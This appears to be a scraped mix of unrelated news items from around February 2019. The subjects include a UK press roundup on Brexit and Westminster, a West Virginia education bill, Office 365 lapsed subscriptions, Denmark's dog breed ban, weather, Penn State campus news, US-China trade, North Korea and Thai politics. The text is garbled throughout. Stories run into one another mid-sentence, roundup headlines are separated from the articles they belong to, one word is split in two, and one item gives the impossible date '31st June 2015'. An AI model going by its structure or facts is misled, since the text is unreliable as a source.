Remainer MPs have abandoned their bid to force Theresa May to rule out a No Deal Brexit this week, it emerged tonight. Labours Yvette Cooper was expected to launch a second attempt to delay Brexit rather than leaving the EU without a deal. But tonight she announced her rebel group WONT make its move this week  and will give Theresa May two more weeks to negotiate with Brussels. The revelation takes the sting out of a vote scheduled for Valentines Day which the PM feared would be a moment of truth for her Brexit plan. Ms Cooper is the ringleader of a cross-party group of Remainers desperate to block a No Deal outcome The MPs had been planning to table their amendment again on Thursday, when the Commons will vote on the way forward for Brexit. This evening they announced an alternative proposal  but they wont push it to a vote for another two weeks. They revealed they will trigger their plan if Mrs May hasnt secured a final deal by February 26.  The Sun

More:

Man sent death threats to Soubry  The Times

Verhofstadt warns that Brexiteers could be consumed by their revolution  Daily Telegraph

MI6 chief in talks to extend term to prevent disruption  FT

Brexit 2) Robbins sparks Brexiteer fury with claim that exit day could be delayed

Theresa May is facing Brexiteer fury today after her EU envoy was overheard saying she will put off a vote on her deal until the last moment  and then threaten to delay the UKs departure unless they approve it. Olly Robbins loudly told companions in a hotel bar that the week beginning end of March would be critical, just days before the UK is due to leave the bloc. And he suggested MPs will be confronted with a long extension to the Article 50 process if they do not give the plan the green light at that point. The private conversation, which happened within earshot of an ITV journalist on Monday night, sent Brexiteers into meltdown. Mrs May has repeatedly insisted that the UK will leave on schedule on March 29  despite growing doubts among ministers over whether that is realistic even if her package was passed immediately.  Daily Mail

but May tells business that delay would serve no purpose  FT

Brussels to help May drag out negotiations until crucial summit  The Sun

More:

Fury at suggestions of permanent backstop  Daily Express

Government clears way to rush through last-minute deal  The Scotsman

Editorial:

May must not flinch and allow delay  The Sun

>Yesterday:

Brexit 3) Morgan warns May not to rely on Labour to deliver Brexit

Brexit through the Commons if she kept the bulk of the party together and retained the support of the Democratic Unionists.  The Times

Grayling under pressure to face MPs over ferry firm  Daily Telegraph

Think-tank claims Javids post-Brexit migration plans would see numbers soar  The Sun

Treasury Committee criticise Hammonds deal dividend claims  FT

Leadsom urges Tories not to be purist on the backstop  The Guardian

Brexit 4) as Carney abandons Project Fear

Nicky Morgan urged Theresa May not to trust Labours front bench to enable Brexit yesterday, completing a striking change of tack from the former education secretary. Until last month Ms Morgan was a leading advocate for the so-called Norway option that Jeremy Corbyn suggests Labour could support. Ms Morgan, who has also previously backed moves to force Mrs May to delay Brexit, shocked pro-EU Tories by teaming up with Brexiteers last month. She is part of the so-called Malthouse compromise group of Tory MPs developing alternatives to the Irish backstop with figures such as Steve Baker, a vice-chairman of the hard-Brexit European Research Group. In an intervention that completes her switch of sides Ms Morgan said yesterday that Mrs May could only hope to get

Britain could lead the world into a new era of democracy and free trade, using the Brexit revolt against the establishment as a springboard to making the global order more cooperative, accountable and prosperous, according to the Governor of the Bank of England. The current system of global trade has key flaws including wealth and income inequality, a lack of democracy and trust, and serious financial imbalances, Mark Carney warned on Tuesday. However, in a sharp departure from the Governors project fear warnings of the past three years, Mr Carney said Brexit has the potential to address these issues and provide the opportunity to create a new way of running the world. In many respects, Brexit is the first test of a new global order and could prove the acid test of whether a way can be found to broaden the benefits of openness while enhancing democratic accountability, he said.  Daily Telegraph

Channel Tunnel will stay open regardless, EU confirms  The Sun

Port operator ready to boost capacity  FT

Haulage firms face fines if they fail to answer surveys after no-deal exit  The Sun

Comment:

Business is still in the dark with only 44 days to go  Hannah Essex and Claire Walker, Times Red Box

Private capital is ready and able to build a better Britain  Daniel Mahoney, Daily Telegraph

I fear no-deal could destroy British farming  Nic Conner, Times Red Box

Editorial:

A Brexit agreement cannot come soon enough  The Times

Brexit 5) Fox scrambling to sign promise letters over trade

Business leaders demand May answers 20 questions on trade  The Guardian

Brexit 6) Rafael Behr: This is still likely to split both major parties

Trade boss Liam Fox is scrambling to sign promise letters for trade deals in the future as it emerges just six will be done in time for Brexit. The government has promised to rollover 40 current EU free trade deals with 70 different countries, so they will still apply to the UK under a no deal Brexit. But a secret tally leaked to The Sun has revealed that just a handful will be ready in time when the UK leaves on March 29. Instead, the International Trade Secretary is battling to persuade dozens of other countries to carry out an exchange of letters of understanding The current tally drawn up by the Department for International Trade lists progress of the 40 deal rollovers in four colour-coded tables. Only six are in green table, signifying they will be done by March 29. They are the four already agreed, with Switzerland  signed on Monday  Chile, an Eastern and Southern African block, and the Faroe Islands.  The Sun

Labour pro-Europeans have been taken for a ride. Their Tory equivalents are now grasping the scale of their symmetrical defeat. Moderate Conservatives once predicted that Brexit bluster would be dispelled by diplomatic reality and that Commons arithmetic would impose a sensible settlement on May. There is still time for that to happen, but not much. Away from Westminster, the party is in an uncompromising mood. Earlier this week, Grantham Conservatives initiated the process to deselect Nick Boles, their local MP. His offence was to say he would renounce the Tory whip sooner than endorse a no-deal Brexit These episodes are symptomatic of a purifying mania that will shrink the two broad churches of English politics into intolerant sects. One quivers in anticipation of Brexit rapture; the other hunts blasphemies against the supreme leader. Many Labour MPs see this process as irreversible.  The Guardian

Unholy alliance of left and right could push May into a no-deal exit she doest want  Philip Johnston, Daily Telegraph

Look south, Prime Minister, its not just about northern Labour voters  Royston Smith, Times Red Box

>Yesterday: ToryDiary: Conservatives should take their Scottish colleagues fears about Johnson seriously

May praises campaigners as upskirting banned

U

Prime Minister urged to review Greens knighthood  The Sun

pskirting has finally been made a criminal offence as Theresa May praised the work of campaigners who highlighted the practice. People convicted of taking a photo or video underneath someones clothing without their permission now face up to two years in prison. They can also be placed on the sex offenders register. The Prime Minister said she was very pleased to see the degrading practice of upskirting become a criminal offence after the tireless work of victims and campaigners. The change in the law came after predators were seen to target females at festivals, on public transport and even in schools, with the photos then being shared online. Previously, laws only covered indecency and nudity. On Tuesday the bill received Royal assent in the House of Lords and police will be able to arrest people on suspicion of upskirting from April. The Government intervened last June to bring forward measures to tackle upskirting after a Private Members Bill was blocked by Sir Christopher Chope, the Tory MP.  Daily Telegraph

Comment:

We can do without hypocrite Bradys plastic feminism  Ashley Armstrong, Daily Telegraph

Hancock tells GPs to replace patient letters with emails

The NHS must stop sending letters to patients and use email like everyone else, the health secretary will insist. Matt Hancock says that email must be the default way of communicating for the health service by 2021, telling doctors that confidentiality concerns are no excuse for sticking with so-called snail mail. Half a million letters were lost in the post in five years and switching over could save lives, he says. Doctors welcomed the plans but expressed scepticism about shifting wholesale to email within two years. Patient leaders said that vulnerable people who do not use computers must not be left behind. Tens of millions of pounds are spent by hospitals and GPs on envelopes, paper and stamps and one NHS boss estimated last year that the cost could reach 100 million a year.  The Times

Wright supports tax cut for online news publishers

Culture Secretary blasted by MPs as he plays down need for full BBC review  The Sun

Hunt condemns attack on Corporation cameraman  The Guardian

Social media firms face new restrictions on images glamorising knife crime  Daily Telegraph

The culture secretary has promised to discuss tax relief for online news publishers as part of an effort to ease local newspapers transition to digital publishing. The move was recommended by a government-commissioned report and Jeremy Wright acknowledged yesterday that there was passionate support within the publishing sector for an extension of VAT exemptions. He said that he would raise the issue with colleagues responsible for tax policy. Print newspapers are already zero-rated for VAT purposes because of their social value in promoting literacy and democratic accountability. The Cairncross review, published yesterday, proposed extending this to online news publications. It also recommended tax relief for public-interest news providers The minister, who is responsible for digital, media, culture and sport, also announced that his department would review online advertising regulations after the review said that the market had become complex.  The Times

Comment:

Responsibility must be the core of social medias business model  Sam Gyimah, Daily Telegraph

BBC is a bastion of smugness which threatens democracy  Mick Hume, The Sun

>Today: Robert Halfons column: Thatcherism was wrong. We need to build social as well as economic capital. Including in our schools.

British Jihadists could face jail under new laws

Around 350 British jihadists suspected to be in Syria could face up to 10 years in jail if they return to the UK under new anti-terror laws that ban travel to designated areas. Ministers will enact within months new powers to make it an offence to travel to or remain in an area overseas designated by the Home Secretary as necessary to protect the public from terrorism. Any person who stays in the area for a month after the power is enacted faces a maximum 10-year sentence unless they can show they had good reason to be in the area such as Government work, journalism or as part of armed services. More than 900 jihadists are estimated by the Government to have travelled to join the conflict in Syria, of which 20% have been killed and 40% have returned to the UK The difficulty of securing evidence of involvement in terrorist activities overseas has hampered previous attempts to prosecute them. Sajid Javid, the Home Secretary, said the Act would give police the powers they needed not only to disrupt plots but also punish those who seek to do us harm.  Daily Telegraph

UK extends control of troubled prison for six months  FT

>Today: ToryDiary: The most pro-intervention speech by a Defence Secretary since the Iraq War

Boles faces fight for seat after vote of local party

Leadsom attacks Bercow over treatment of staff

The local Conservative association of Nick Boles, MP for Grantham & Stamford, voted unanimously on Monday night to start the process of selecting the constituencys candidate for the next election. In a letter to members on Tuesday morning, constituency chairman Philip Sagar said many local members and supporters were angry with the former minister, who has threatened to quit the party if necessary to prevent a no-deal Brexit. Mr Boles, a former Remainer, supports Theresa Mays deal with Brussels but has also been advocating a softer Norway Plus form of Brexit involving membership of the European Economic Area. Granthams executive council voted to start the process of selecting the Parliamentary candidate for the next election and will send a letter to Mr Boles to ask him if he wishes to seek re-adoption. If he takes up that offer he will then need to seek the blessing of those members in order to stand again for Parliament.  FT

Andrea Leadsom has accused Speaker John Bercow of failing to treat his staff with courtesy and respect. The Commons Leader, who has repeatedly clashed with Mr Bercow since he admitted calling her a stupid woman last year, also questioned his impartiality over Brexit. It follows the controversy over his decision to break centuries of convention to allow a Brexit-wrecking motion to go ahead last month Mrs Leadsom also revealed that she had been spoken to in a patronising way by people in Parliament, after her Cabinet colleague Liz Truss told a newspaper that she had been mansplained to in Cabinet A spokeswoman for the Speakers Office said: The Speaker absolutely shares the Leaders ambition to develop a culture of courtesy and respect. Indeed, he can be heard every day of the working week encouraging members on both sides of the House to treat each other with respect.  The Sun

Criticism of Labour antisemitism upsetting staff, MPs told

Formby denies Party are ignoring the problem  The Guardian

as Opposition set out plan for zero-carbon future

Labours general secretary has warned MPs that public criticism of the way antisemitism allegations have been handled is distressing for party staff. Jennie Formby, a key ally of Jeremy Corbyn, said that the party had received nearly 700 complaints linked to antisemitic abuse by party members since April last year and had expelled 12 people. Dame Margaret Hodge, MP for Barking, disputed this, saying that she had alone made complaints about 200 members. Ms Formby said this was not correct, claiming that Dame Margarets complaints related to 111 individuals, 20 of whom were Labour members. She said: The constant and often public criticism of our dedicated and talented staff team is unacceptable and is causing them considerable distress. Her comments provoked anger yesterday Ms Formby, who had previously refused to publish the figures, released them only hours before a deadline set by MPs. It is understood that the Jewish Labour Movement, an affiliated party grouping, has submitted hundreds of complaints against members since last April.  The Times

Labour is to set out how the UK can move swiftly to a decarbonised future to tackle the unfolding climate crisis and put meat on the bones of its promise to create hundreds of thousands of high-skilled, unionised green jobs. Trade unionists and industry leaders will come together with academics, engineers and public institutions to build detailed regional plans setting out the challenges and opportunities ahead. The proposal, due to be outlined on Wednesday by Rebecca Long-Bailey, the shadow business secretary, will involve a national call for evidence and a series of regional events to build a detailed action plan to maximise the benefits of moving to a zero-carbon future She said a future Labour government would oversee an economic revolution to tackle the climate crisis, using the full power of the state to decarbonise the economy and create hundreds of thousands of green jobs in struggling towns and cities across the UK.  The Guardian

Corbyn forced to pay taxman 6,000 after HMRC blunder  The Sun

Comment:

Young protesters talk more sense than most MPs  Alice Thomson, The Times

News in Brief:Concerned citizens, local politicians, and other interested parties gathered at New Martinsville City Hall on Sunday, Feb. 10 to discuss recent legislation known as Senate Bill 451, which pertains to education reform in the state.

The Wetzel County Education Association and the Wetzel County Democratic Executive Committee hosted the meeting to inform the public about certain components of the bill and education changes within the legislation.

Attendees were informed that the WCEA, the WV Department of Education, Principal Associations, and Service Professional Associations, along with some taxpayers and certain other special interest groups, have expressed their displeasure with the bill.

Notably, the House Education Committee worked to eliminate much of the controversial language of the bill on Friday, Feb. 8 and passed an amended version of the bill, sending it to the House Finance Committee to review.

WCEA Co-President Elliot Kendle explained Feb. 10 that meetings have been held throughout the state since the passage of the bill in the Senate. He said the situation concerning Senate Bill 451 appeared very dismal at first. He said positive change has taken place in the past week, but there is still a long way to go.

Kendle said Senate Bill 451 did very little in its original state to reform education in West Virginia, and there were many concerns among educators and others with the lack of real reform. One concern does deal with a promised pay raise by Governor Justice, and that this pay raise is tied into the bill. It is still in the revised version.

Kendle said another item in the original bill was a one-time $2,000 supplement for math teachers, which sounds really good.. However, it was for teachers who are seeking certification, and his understanding is current math teachers would not receive this supplement. Also if the number of people applying for the supplement exceeded the funds available, it would be pro-rated in.

Another item dealt with salary equity and county salary supplements pertaining to schools which are difficult to staff, mainly math and science jobs. A county would have been allowed to pay the people who work in that school a higher amount.

However many of these issues have been removed by House Education Committee, along with other provisions deemed controversial in the Senates version. Included among them were provisions requiring unions to receive annual approval before taking dues from teacher and school service employee paychecks, and a non-severability clause  which would have rendered the entire bill invalid if any part of it was successfully challenged in court. Kendle said another item in the bill pertains to a $500 year-end bonus if not absent more than four days. This is to increase attendance for staff. Originally, the bill stated this bonus was only to be given to teachers. However, service workers have since been added to the incentive.

Kendle explained the open enrollment item of the bill has good and bad qualities. He noted a positive benefit would be if a student lives in a remote area and theres a school in another county that is closer than a school in the students own county. Students with special needs might also be able to access programs or services that are not provided in their own county. The problem is this could also affect staffing. As money goes and forth, positions would be lost. Kendle said he felt the definitions were a bit loose on what is or is not allowed.

Also, school counselors were affected in the bill. One of the deep concerns under the original bill was it removed the requirement that counselors spend 75 percent of the time in direct contact with the students. That could potentially have meant that they could be used solely for administrative purposes. The House Education Committee omitted this and now requires that counselors spend 80 percent of their time with the students. Kendle said he feels this will help the students tremendously.

Kendle noted other items of the bill, including the school aid formula base being set at a minimum of 1,400 students, has remained the same.

He noted the item that stated no pay during work stoppages until days are made up has been stripped form the bill. He said this item would not have affected instruction in anyway, and he further expressed how he felt this was a clear indication the bill was meant in retaliation to last years actions.

He said there was also a provision in the original bill that declared all extracurricular activities would stop during a work stoppage. Under the amended bill, they would be allowed to continue. He said the item involving teacher input on student promotion stays the same.

Other changes from the bill that passed the Senate include: Public Charter Schools pilot capped at two, no Education Savings Accounts, No Paycheck Protection, and punitive damage to an employee during a work stoppage is out of the bill. Also, the changes to the bill note that seniority is linked to evaluations in job retention. There is also $5 million funding for innovation zones. This is a grant program through the state Department of Education that allows schools more flexibility to find ways to improve student learning and curb dropout rates.

Kendle noted the PEIA funding is a budget appropriation not included in the bill. He said the funding will be a line item of $150 million.

Delegate Dave Pethtel, who was present at the Feb. 10 meeting, explained that the e-mails he had received regarding Senate Bill 451, prior to the changes by the House Education Committee, were overwhelmingly in opposition to the bill. He said even after the changes, he still believes the public is against the bill. He noted when the bill was first making its way through the Senate, there was probably a whole week he received hundreds, possibly a thousand, emails, and not one person he heard from was for the bill.

Everyone at the meeting was urged to make calls and send e-mails to their representatives, in order to let their voices be heard.

Those interested in receiving updates on the bill were advised to go to the West Virginia Legislative website at www.wvlegislature.gov/ and click on Bill Status, followed by 451.Microsoft's pay-as-you-go Office 365 is, first and foremost, a subscription. And like other subscriptions  think newspapers (remember them?) or an online storage service  missing a payment doesn't immediately mean you're cut off.

Because it's less expensive to retain a current subscriber than find a new subscriber as a replacement, providers will go to great lengths to keep customers on the rolls.

When a business misses an Office 365 payment, or cancels the service, the applications and data don't immediately disappear. Instead, Microsoft steps a customer through a three-stage process that gradually decreases both employee and administrator access, but for months leaves the door open to a renewal.

Here are the stages of an Office 365 breakup. And for good measure, here's how to salvage a canceled subscription and get back in Microsoft's good graces.

1-30 days after subscription ends: Expired

Microsoft dubs the first stage "expired," but it could just as well be called "grace period" since everything works as if the customer's payments remain up to date.The findings in our article largely support previous studies on the subject of whether banning certain breeds of dog will lead to less individuals requiring emergency care for dog bites. In similarity to other studies we can show that banning certain breeds in Denmark did not reduce the number of dog bites being seen at a large regional hospital. Due to the Danish ban being slightly different to previous bans, we could use considerably more advanced methods. Put simply, we could test both the long-term effect of banning certain breeds as well as the short-term legislation on muzzles in public spaces on the same breeds. Neither seem to have an effect. The results reiterate the problem of identifying so-called dangerous breeds in the attempts to reduce dog bites.

Photo: Grigorita Ko/Shutterstock

"Put simply, we could test both the long-term effect of banning certain breeds as well as the short-term legislation on muzzles in public spaces on the same breeds. Neither seem to have an effect."



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In 2010, Denmark banned 13 breeds of dog. It made no difference to hospitalizations for dog bites.One approach that some countries or municipalities take to attempt to reduce injuries from dog bites is to ban certain breeds, known as Breed Specific Legislation (BSL). A new study by Dr. Finn Nilson (Karlstad University) et al investigates the effects of BSL in Denmarks third-largest city, Odense. The results show that it had no effect on hospitalizations for dog bites.In 2010, Denmark banned the ownership, breeding and import of 13 breeds of dog , including the American Staffordshire Terrier, the Dogo Argentino, Fila Brasiliero and American Bulldog.Two of those breeds, the Pitbull Terrier and the Tosa Inu, had to be euthanized.Any existing pets of the remaining 11 breeds could be kept, but they had to be muzzled and leashed in public.Dr. Finn Nilson told me in an email,The study looked at data on people visiting the emergency department in Odense from 1st January 2002 and 31st June 2015. During this time, there were 2622 dog bite injuries.There are some problems with simply looking at the number of dog bites before and after a ban. For one thing, in cases like this where some breeds are euthanized, the total number of dogs has gone down, which means any change could simply be because there are fewer dogs overall.As well, it is possible there would be other changes over the time period. One such change mentioned in the paper is that the number of injuries tends to go down anyway (although I note that this is not always the case  in the UK, which also has BSL, hospitalizations for dog bites have gone up ).The scientists used some sophisticated statistical techniques, called Monte Carlo models, to get round these issues.And they paid attention to whether dog bites happened in public or private spaces.Since 11 of the banned breeds had to be muzzled and leashed in public, you would expect an immediate difference in public dog bites if BSL was effective. Whereas you would expect a more gradual difference in dog bites in private spaces as the number of pet dogs of these breeds slowly went down.But thats not what happened.The results showed no effect of Breed Specific Legislation on hospitalizations for dog bites.They did show something else very interesting: Of the 2622 dog bites, 874 occurred in public spaces. In other words, the majority of dog bite injuries (67%) occurred in a private space such as someones home.This shows that programs to reduce dog bites need to target private places, not just focus on what happens in public.One limitation to the research is that it only considers data for 4.5 years after the introduction of BSL. However, the legislation would have been expected to have an effect in this time, which was not found.This study joins a number of others in finding that Breed Specific Legislation does not work. If you want to know more, the Royal Society for the Prevention of Cruelty to Animals has a summary of the available research on BSL Unfortunately BSL means that well-behaved dogs have to be muzzled or euthanized when they have not done anything wrong.The alternative to BSL is to encourage responsible dog ownership and enforce it with strong laws or bylaws.Dog bites are a complex problem, and this study adds to the evidence that breed specific legislation is not the solution. As well, it shows that we need to pay attention to the context in which bites occur.The paper is open access and you can read it via the link below., is the author of Wag: The Science of Making Your Dog Happy . She is the founder of the popular blog Companion Animal Psychology , where she writes about everything from training methods to the human-canine relationship. She also writes a column for Psychology Today and has received the prestigious Captain Haggerty Award for Best Training Article in 2017. Todd lives in Maple Ridge, BC, with her husband and two cats.You might also like: Stereotypes and breeds of dog and the effects of owner experience and housing on Argentine Dogos Nilson, F., Damsager, J., Lauritsen, J., & Bonander, C. (2018). The effect of breed-specific dog legislation on hospital treated dog bites in Odense, DenmarkA time series intervention study. PLoS one, 13(12), e0208393. https://doi.org/10.1371/journal.pone.0208393Danville, IL (61832)

Today

Scattered clouds with the possibility of an isolated thunderstorm developing this afternoon. High 83F. Winds S at 10 to 20 mph. Chance of rain 30%..

Tonight

Variable clouds with thunderstorms, especially late. Low near 70F. Winds S at 10 to 20 mph. Chance of rain 50%.Columbia, MO (65201)

Today

Occasional thunderstorms - possibly severe during the afternoon hours. Damaging winds and large hail with some storms. High 88F. Winds S at 10 to 20 mph. Chance of rain 90%..

Tonight

Variable clouds with thunderstorms. A few may be severe. Damaging winds and large hail with some storms. Low 73F. Winds S at 10 to 20 mph. Chance of rain 50%.With an unprecedented number of snow days this semester, professors are beginning to feel the effects as the end of the semester looms closer and closer.

Class cancellations on Tuesday, Feb. 12 marked the third time this semester students have missed their Tuesday-Thursday classes.

It would be a good semester to have only Monday, Wednesday and Friday classes, Sona Golder, a professor in the department of political science, said via email.

Golder said she believes she will be able to cover all of the necessary information for the semester  however, part of the responsibility also falls on students to complete their readings on time and to read ahead when possible.

To help students, Golder has sent a couple of links to helpful videos and articles pertaining to class material to her students. She said she has also re-adjusted her schedule for assignment due dates.

Phoebe Busges, a professor in the French department, is in a similar situation.

These weather-related cancellations have been disruptive to instruction and are potentially corrosive to student motivation, Busges said via email, but I would much rather know that my students and colleagues are safe than to hold any class.

Busges said she is fortunate to have students that are continuing to complete their work, despite the class cancellations.

In turn I will do my very best to make up for the lost days of instruction, Busges said.

Michele Kennerly, an assistant professor in communication arts and sciences, and classics and ancient mediterranean studies, is teaching two Tuesday-Thursday classes this semester.

Kennerly said the length of time between Thursday classes and the following Tuesday classes is long on a regular schedule  and the snow day cancellations are not helping.

She added that the brilliance and good humor of [her] students energize [her], so the bad weather plus the class cancellations have [her] doubly down.

Kennerly is most concerned about the tone set for the remainder of the semester. She said the first six weeks of a semester usually set the tone for the remainder of the semester by establishing routines and rapport between student and instructor.

RELATED

How Penn State determines when to cancel classes With temperatures dropping below zero, many Penn State students have expressed their frustra

Lots of teaching studies show that instructors need to develop rapport with their students early, Kennerly said, Or it is unlikely to form.

Ronald Johnson, associate teaching professor of management and organization, said he discusses the responsibility of leaders in his classes and understands why the university would be cautious of safety during inclement weather.

As students, staff and faculty we have to trust that those leaders are considering all factors, Johnson said via email,  including liability and making the best decision possible.

Johnson described two impacts on his classes, one in his BA 342 class, a Tuesday- Thursday class with juniors and seniors, and another in his MGMT 301 class, a Monday, Wednesday, Friday class with only freshmen.

Johnson said his BA 342 class has two sections and due to the times the university closed, section one received more instruction time than section two. This presented a problem for the first exam which contains the same material for both sections.

This would have been too much material to drop on a class the week before the exam so we cut a full chapter from the course to keep us on track, Johnson said.

Johnson said he believed that option was more fair to all students.

For his MGMT 301 class, Johnson said there was an exam scheduled for Thursday, Jan. 31 and Friday, Feb. 2  however, due to class cancellations on Thursday, those students were not able to take the exam.

[This] created a lot of angst among students and caused our testing folks and my teaching team a lot of extra work, Johnson said.

As a result, the exam was moved back to the following Monday, resulting in the next section of material beginning a day late and the cancellation of a scheduled study session before exam two.

Johnson suggested altering the university semester schedule in the future to allow for potential closure days. He said Penn State currently has 15-week semesters compared to multiple other universities which have 14-week semesters.

Johnson proposed that Penn State adopt 14-week semesters and reserve the 15th week for built in closure days so that classes may remain on track.

Doing this is of course up to the administration, Johnson said. A university calendar exists in the context of many constraints so considering this [the change] might or might not be feasible.Living off-campus can give students the feeling of independence and responsibility, which also comes with gauging the off-campus residency right for them.

After a year of planning, Penn States Student Affairs Off-Campus Student Support Office is offering a new website, Living Off Campus, this spring semester. The goal of this new website is to make the decision and search of where to live off-campus easier while providing support for students during a stressful time.

On-campus student Victor Ginsburg said he will definitely use this website in the future when the time comes for him to look for an apartment. He added the features that are provided sound "phenomenal."

I think with on-campus housing, you kind of know what you're getting regardless of where you're living, Ginsburg (freshmanmathematics) said. So, it's great that there will be an easy way to compare apartments since they aren't all the same

Living Off-Campus will specialize in apartment listings. Students can save and compare their favorite choices with a registered account, search for roommates, and buy or sell furniture. A registered account is accessible with a Penn State user ID. Private landowners can also register on the website to post their own listings.

Mario Rubino, like Ginsburg, also looks forward to using this site, but for different reasons.

I would probably use this site to buy some furniture if the seller delivers, Rubino (juniorbusiness management) said. "It is hard to get furniture that is near, especially when you dont have a car since most things are really far away.

RELATED

Although Rubino did not have a difficult experience finding an apartment as most do, he did have a hard time finding roommates.

Finding an apartment is a hassle, but I wouldnt say my apartment was hard to find, Rubino said. The hardest part was finding roommates, so that feature on the site would be useful.

Under the help tab on the website, there are linked resources provided by Penn State such as the Off-Campus Student Support, Student Legal Services, Meditation Services, CAPS Chat and multiple community resources.

In addition, Living Off-Campus breaks down the process of apartment shopping through three sections. The Getting Started tab includes a budget worksheet, a list of scams to avoid and suggested questions for landlords and roommates. Understanding Your Lease includes a model lease with notes, lease rules and definitions of key lease terms. Know Your Rights & Protect Yourself includes rights about evictions, fair housing, habitability, repairs and insurance.

Living Off-Campus will also keep account owners up-to-date with the latest housing news and scams. Students will not only be able to view floor plans with the help of Google Maps, students will also be able to see how long the walk or bus ride will be from the campus to the property listing.

Katelyn Bartlet already has an apartment for next year, but she wishes she had Living Off-Campus to help her during her search.

I would have 100 percent used this website if it was running when I was looking for an apartment, Bartlet (freshman-biology) said. I had to make calls everywhere which was stressful, and the description only ever said the names of apartments, so I had to look up everything about them, like pictures.SHOWS

February 22, 2021 10.00 am

Bazaar Corporate Radar

Bazaar Corporate Radar is your window into the minds of top CEOs, Boardrooms, global economists, fund managers and sector analysts. If it?s making news, you?ll find it on Bazaar Corporate Radar.The report, which cites sources close to the matter, said Xi "is scheduled to meet" with key members of the U.S. trade delegation that's in Beijing, including Lighthizer and Mnuchin. Chinese Vice Premier Liu He is also expected to attend a banquet for the U.S. delegation this week, according to the Morning Post.

Chinese President Xi Jinping will meet with Treasury Secretary Steven Mnuchin and U.S. Trade Representative Robert Lighthizer on Friday as both sides pursue a trade deal before an early March deadline, the South China Morning Post reported.

China and the U.S. are trying to strike a deal before March 2. Otherwise, additional U.S. tariffs on Chinese goods could take effect.

The report comes a day after President Donald Trump said he would consider pushing back the current March deadline if it means a deal between the two countries can be reached soon. He added, however, he "would prefer not to."

The trade tussle between China and the U.S. has sent ripples through financial markets over the past year. Investors have fretted over the impact of tariffs on corporate profits.

Neither the Treasury Department nor the U.S. Trade Representative's office responded to CNBC's request for comment.

Click here to read the full story.

Subscribe to CNBC on YouTube.The trade deal U.S. negotiators are seeking will have some teeth in case China goes back on its trade promises, as it has in the past, The New York Times reported.

A top priority for Treasury Secretary Steven Mnuchin and U.S. Trade Representative Robert Lighthizer, who are set to hold talks this week with Vice Premier Liu He, is to put in place an automatic tariff mechanism that would raise duties on Chinese goods if its exports to the U.S. keep rising, The New York Times reported on Tuesday, citing three people with detailed knowledge of the negotiations.

China has a history of not living up to its trade obligations. When China joined the World Trade Organization in 2001, it made a promise to allow foreigners to access its banking and telecommunication markets. However, to this day, it hasn't let any foreign company step in. American negotiators want to make sure China will face some punishment if it repeats this behavior.At around 2:18 p.m. ET, the yield on the benchmark 10-year Treasury note , which moves inversely to price, was higher at around 2.708 percent, while the yield on the 30-year Treasury bond was also higher at 3.036 percent.

U.S. government debt yields rose Wednesday as investors grew more optimistic about trade talks between China and the U.S. There are also a number of Fed speeches that will be followed closely.

There is a strong focus on trade as China and the U.S. continue holding talks. President Donald Trump said on Tuesday that he could be tempted to push back the March 1 deadline for reaching a trade agreement with China if the two sides were close to a deal.

The South China Morning Post reported on Wednesday that Chinese President Xi Jinping will meet with U.S. delegates on Friday as both sides try to strike a deal. Treasury Secretary Steven Mnuchin and U.S. Trade Representative Robert Lighthizer will reportedly be in attendance. Failure to achieve an agreement would spark higher U.S. tariffs on Chinese goods.

The latest report on consumer prices in the United States showed that consumers faced stagnant costs for the third straight month in January. The unchanged print contributed to the smallest annual increase in inflation in more than 1.5 years, which could encourage the Federal Reserve to hold interest rates steady.

The Labor Department said on Wednesday its Consumer Price Index last month was held down by cheaper gasoline, which offset increases in the cost of food and rents.U.S. President Donald Trump and North Korean leader Kim Jong Un. Reuters

Weeks before a second summit between U.S. President Donald Trump and North Korean leader Kim Jong Un, the top U.S. military commander for Asia on Tuesday echoed an intelligence assessment that North Korea is unlikely to give up all its nuclear weapons. Although he expressed optimism about the Feb. 27-28 Hanoi summit in verbal testimony to the Senate Armed Services Committee, Admiral Philip Davidson, head of the Indo-Pacific Command, expressed doubts about North Korean intentions in his written submission to the panel. "USINDOPACOM's assessment on North Korean denuclearization is consistent with the Intelligence Community position. That is, we think it is unlikely that North Korea will give up all of its nuclear weapons or production capabilities, but seeks to negotiate partial denuclearization in exchange for U.S. and international concessions," he said. Last month, U.S. Director of National Intelligence Dan Coats told Congress he believed it was unlikely North Korea would give up all its nuclear weapons and that it had continued activity inconsistent with pledges to denuclearize.

Trump has been eager for a second summit with Kim even though their first meeting in Singapore in June produced only vague commitments from Kim and little concrete progress since. While Trump has cited North Korea halting its nuclear testing and no new missile launches in 15 months as proof of progress, a report by U.N. sanctions monitors has also cast doubt on Pyongyang's intentions. Pyongyang "is using civilian facilities, including airports, for ballistic missile assembly and testing with the goal of effectively preventing 'decapitation' strikes" on a smaller number of identified nuclear and missile assembly and manufacturing sites," the U.N. report said. The White House declined comment on Davidson's remarks. A State Department spokeswoman said it remained confident the Singapore summit commitments would be fulfilled, and added: "It is Chairman Kim's commitment to denuclearization upon which the world is focused."

'Much needs to be done'U.K. Prime Minister Theresa May has insisted to the British Parliament that her government still plans to exit the European Union on March 29 this year.

Her statement followed the publication of an eyewitness report that her top Brexit negotiator had said earlier this week that the EU would "in the end ... probably just give" Britain an extension to the two-year withdrawal deadline if requested.

Olly Robbins is a senior U.K. civil servant who has helped oversee Britain's negotiations with the European Commission for much of that period. After a dinner meeting on Monday between his ministerial counterpart, the U.K. Brexit Secretary Stephen Barclay, and the EU's own chief negotiator, Michel Barnier, an ITV News correspondent overheard Robbins tell two colleagues in a hotel bar that British lawmakers should be made to believe that, "if they don't vote for the deal then the extension is a long one."

Political analysts say that kind of binary option might pressurize pro-Brexit members of Theresa May's Conservative Party to support her divorce deal with Europe  despite their continued concerns about a key provision of it  to avoid backlash from constituents who could see any delay to Brexit as a slippery slope to its reversal.

And though May dismissed the account as "bar chatter," some of her chief political antagonists have seized on Robbins' reported comments. The Scottish National Party's Westminster leader, Ian Blackford, said the prime minister's plan had been "rumbled by your own loose-lipped senior Brexit advisor," and insisted she should publicly prolong the negotiating period to avoid a no-deal scenario that was sought by what he termed "extremists" in her own party.

"The prime minister must stop playing fast and loose," said Blackford. "Businesses are begging for certainty, the economy is already suffering."

Days before the start of London Fashion week, that call for clarity was echoed by Caroline Rush, the chief executive of the British Fashion Council (BFC).A sign is displayed at the office of the Election Commission in Bangkok, Thailand, on Monday, Feb. 11, 2019.

Thailand's election commission is to ask the constitutional court to consider dissolving the Thai Raksa Chart party, which nominated a princess to run for prime minister.

The commission said in a statement the party violated an electoral law for its nomination of the Princess Ubolratana Rajakanya Sirivadhana Barnavadi last week, which it said was "an act that is antagonistic toward the constitutional monarchy".

